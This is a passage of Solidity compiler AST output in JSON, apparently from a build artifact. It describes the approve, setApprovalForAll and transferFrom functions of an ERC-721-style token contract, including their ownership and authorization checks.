\"NOT_AUTHORIZED\""},"value":"NOT_AUTHORIZED"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e7e213d5e2bee0acc2c7bf8bfda19ef0cae82e7b8c997e7e898919269971e7c4","typeString":"literal_string \"NOT_AUTHORIZED\""}],"id":33070,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3233:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33083,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3233:86:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33084,"nodeType":"ExpressionStatement","src":"3233:86:21"},{"expression":{"id":33089,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":33085,"name":"_getApproved","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32990,"src":"3330:12:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33087,"indexExpression":{"id":33086,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33060,"src":"3343:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"3330:16:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":33088,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33058,"src":"3349:7:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3330:26:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":33090,"nodeType":"ExpressionStatement","src":"3330:26:21"},{"eventCall":{"arguments":[{"id":33092,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33065,"src":"3381:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33093,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33058,"src":"3388:7:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33094,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33060,"src":"3397:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33091,"name":"Approval","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31993,"src":"3372:8:21","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":33095,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3372:28:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33096,"nodeType":"EmitStatement","src":"3367:33:21"}]},"baseFunctions":[32058],"functionSelector":"095ea7b3","implemented":true,"kind":"function","modifiers":[],"name":"approve","nameLocation":"3115:7:21","overrides":{"id":33062,"nodeType":"OverrideSpecifier","overrides":[],"src":"3175:8:21"},"parameters":{"id":33061,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33058,"mutability":"mutable","name":"spender","nameLocation":"3131:7:21","nodeType":"VariableDeclaration","scope":33098,"src":"3123:15:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33057,"name":"address","nodeType":"ElementaryTypeName","src":"3123:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33060,"mutability":"mutable","name":"id","nameLocation":"3148:2:21","nodeType":"VariableDeclaration","scope":33098,"src":"3140:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33059,"name":"uint256","nodeType":"ElementaryTypeName","src":"3140:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3122:29:21"},"returnParameters":{"id":33063,"nodeType":"ParameterList","parameters":[],"src":"3184:0:21"},"scope":33498,"stateMutability":"payable","virtual":true,"visibility":"public"},{"id":33123,"nodeType":"FunctionDefinition","src":"3413:213:21","nodes":[],"body":{"id":33122,"nodeType":"Block","src":"3497:129:21","nodes":[],"statements":[{"expression":{"id":33113,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"id":33106,"name":"_isApprovedForAll","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32996,"src":"3507:17:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_bool_$_$","typeString":"mapping(address => mapping(address => bool))"}},"id":33110,"indexExpression":{"expression":{"id":33107,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3525:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33108,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3529:6:21","memberName":"sender","nodeType":"MemberAccess","src":"3525:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3507:29:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":33111,"indexExpression":{"id":33109,"name":"operator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33100,"src":"3537:8:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"3507:39:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":33112,"name":"approved","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33102,"src":"3549:8:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"3507:50:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":33114,"nodeType":"ExpressionStatement","src":"3507:50:21"},{"eventCall":{"arguments":[{"expression":{"id":33116,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3588:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33117,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3592:6:21","memberName":"sender","nodeType":"MemberAccess","src":"3588:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33118,"name":"operator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33100,"src":"3600:8:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33119,"name":"approved","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33102,"src":"3610:8:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":33115,"name":"ApprovalForAll","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32002,"src":"3573:14:21","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_bool_$returns$__$","typeString":"function (address,address,bool)"}},"id":33120,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3573:46:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33121,"nodeType":"EmitStatement","src":"3568:51:21"}]},"baseFunctions":[32066],"functionSelector":"a22cb465","implemented":true,"kind":"function","modifiers":[],"name":"setApprovalForAll","nameLocation":"3422:17:21","overrides":{"id":33104,"nodeType":"OverrideSpecifier","overrides":[],"src":"3488:8:21"},"parameters":{"id":33103,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33100,"mutability":"mutable","name":"operator","nameLocation":"3448:8:21","nodeType":"VariableDeclaration","scope":33123,"src":"3440:16:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33099,"name":"address","nodeType":"ElementaryTypeName","src":"3440:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33102,"mutability":"mutable","name":"approved","nameLocation":"3463:8:21","nodeType":"VariableDeclaration","scope":33123,"src":"3458:13:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33101,"name":"bool","nodeType":"ElementaryTypeName","src":"3458:4:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3439:33:21"},"returnParameters":{"id":33105,"nodeType":"ParameterList","parameters":[],"src":"3497:0:21"},"scope":33498,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":33202,"nodeType":"FunctionDefinition","src":"3632:693:21","nodes":[],"body":{"id":33201,"nodeType":"Block","src":"3724:601:21","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33138,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33134,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33125,"src":"3742:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"baseExpression":{"id":33135,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"3750:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33137,"indexExpression":{"id":33136,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33129,"src":"3759:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3750:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3742:20:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"57524f4e475f46524f4d","id":33139,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3764:12:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_f70366941d4d371c05a2457cbc0f4d05a3d6bc57ab01a7c3338bfed233eebe93","typeString":"literal_string \"WRONG_FROM\""},"value":"WRONG_FROM"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_f70366941d4d371c05a2457cbc0f4d05a3d6bc57ab01a7c3338bfed233eebe93","typeString":"literal_string \"WRONG_FROM\""}],"id":33133,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3734:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33140,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3734:43:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33141,"nodeType":"ExpressionStatement","src":"3734:43:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33148,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33143,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33127,"src":"3796:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":33146,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3810:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":33145,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3802:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33144,"name":"address","nodeType":"ElementaryTypeName","src":"3802:7:21","typeDescriptions":{}}},"id":33147,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3802:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3796:16:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"494e56414c49445f524543495049454e54","id":33149,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3814:19:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_5e7bf34c5f9e77c6f415365fc02ea1195419ccebda18d14265f0c098f3687483","typeString":"literal_string \"INVALID_RECIPIENT\""},"value":"INVALID_RECIPIENT"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_5e7bf34c5f9e77c6f415365fc02ea1195419ccebda18d14265f0c098f3687483","typeString":"literal_string \"INVALID_RECIPIENT\""}],"id":33142,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3788:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33150,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3788:46:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33151,"nodeType":"ExpressionStatement","src":"3788:46:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33170,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33163,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33156,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":33153,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3866:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33154,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3870:6:21","memberName":"sender","nodeType":"MemberAccess","src":"3866:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":33155,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33125,"src":"3880:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3866:18:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"baseExpression":{"baseExpression":{"id":33157,"name":"_isApprovedForAll","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32996,"src":"3888:17:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_bool_$_$","typeString":"mapping(address => mapping(address => bool))"}},"id":33159,"indexExpression":{"id":33158,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33125,"src":"3906:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3888:23:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":33162,"indexExpression":{"expression":{"id":33160,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3912:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33161,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3916:6:21","memberName":"sender","nodeType":"MemberAccess","src":"3912:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3888:35:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"3866:57:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33169,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":33164,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3927:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33165,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3931:6:21","memberName":"sender","nodeType":"MemberAccess","src":"3927:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"baseExpression":{"id":33166,"name":"_getApproved","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32990,"src":"3941:12:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33168,"indexExpression":{"id":33167,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33129,"src":"3954:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3941:16:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3927:30:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"3866:91:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e4f545f415554484f52495a4544","id":33171,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3971:16:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_e7e213d5e2bee0acc2c7bf8bfda19ef0cae82e7b8c997e7e898919269971e7c4","typeString":"literal_string \"NOT_AUTHORIZED\""},"value":"NOT_AUTHORIZED"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e7e213d5e2bee0acc2c7bf8bfda19ef0cae82e7b8c997e7e898919269971e7c4","typeString":"literal_string \"NOT_AUTHORIZED\""}],"id":33152,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3845:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33172,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3845:152:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33173,"nodeType":"ExpressionStatement","src":"3845:152:21"},{"expression":{"id":33177,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"--","prefix":false,"src":"4173:18:21","subExpression":{"baseExpression":{"id":33174,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32939,"src":"4173:10:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":33176,"indexExpression":{"id":33175,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33125,"src":"4184:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"4173:16:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":33178,"nodeType":"ExpressionStatement","src":"4173:18:21"},{"expression":{"id":33182,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"4202:16:21","subExpression":{"baseExpression":{"id":33179,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32939,"src":"4202:10:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":33181,"indexExpression":{"id":33180,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33127,"src":"4213:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"4202:14:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":33183,"nodeType":"ExpressionStatement","src":"4202:16:21"},{"expression":{"id":33188,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":33184,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"4229:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33186,"indexExpression":{"id":33185,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33129,"src":"4238:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"4229:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":33187,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33127,"src":"4244:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"4229:17:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":33189,"nodeType":"ExpressionStatement","src":"4229:17:21"},{"expression":{"id":33193,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"4257:23:21","subExpression":{"baseExpression":{"id":33190,"name":"_getApproved","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32990,"src":"4264:12:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33192,"indexExpression":{"id":33191,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33129,"src":"4277:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"4264:16:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33194,"nodeType":"ExpressionStatement","src":"4257:23:21"},{"eventCall":{"arguments":[{"id":33196,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33125,"src":"4305:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33197,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33127,"src":"4311:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33198,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33129,"src":"4315:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33195,"name":"Transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31984,"src":"4296:8:21","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":33199,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4296:22:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33200,"nodeType":"EmitStatement","src":"4291:27:21"}]},"baseFunctions":[32050],"functionSelector":"23b872dd","implemented":true,"kind":"function","modifiers":[],"name":"transferFrom","nameLocation":"3641:12:21","overrides":{"id":33131,"nodeType":"OverrideSpecifier","overrides":[],"src":"3715:8:21"},"parameters":{"id":33130,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33125,"mutability":"mutable","name":"from","nameLocation":"3662:4:21","nodeType":"VariableDeclaration","scope":33202,"src":"3654:12:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33124,"name":"address","nodeType":"ElementaryTypeName","src":"3654:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33127,"mutability":"mutable","name":"to","nameLocation":"3676:2:21","nodeType":"VariableDeclaration","scope":33202,"src":"3668:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33126,"name":"address","nodeType":"ElementaryTypeName","src":"3668:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33129,"mutability":"mutable","name":"id","nameLocation":"3688:2:21","nodeType":"VariableDeclaration","scope":33202,"src":"3680:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33128,"name":"uint256","nodeType":"ElementaryTypeName","src":"3680:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3653:38:21"},"returnParameters":{"id":33132,"nodeType":"ParameterList","parameters":[],"src":"3724:0:21"},"scope":33498,"stateMutability":"payable","virtual":true,"visibility":"public"},{"id":33242,"nodeType":"FunctionDefinition","src":"4331:386:21","nodes":[],"body":{"id":33241,"nodeType":"Block","src":"4427:290:21","nodes":[],"statements":[{"expression":{"arguments":[{"id":33213,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33204,"src":"4450:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33214,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33206,"src":"4456:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33215,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33208,"src":"4460:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33212,"name":"transferFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33202,"src":"4437:12:21","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function 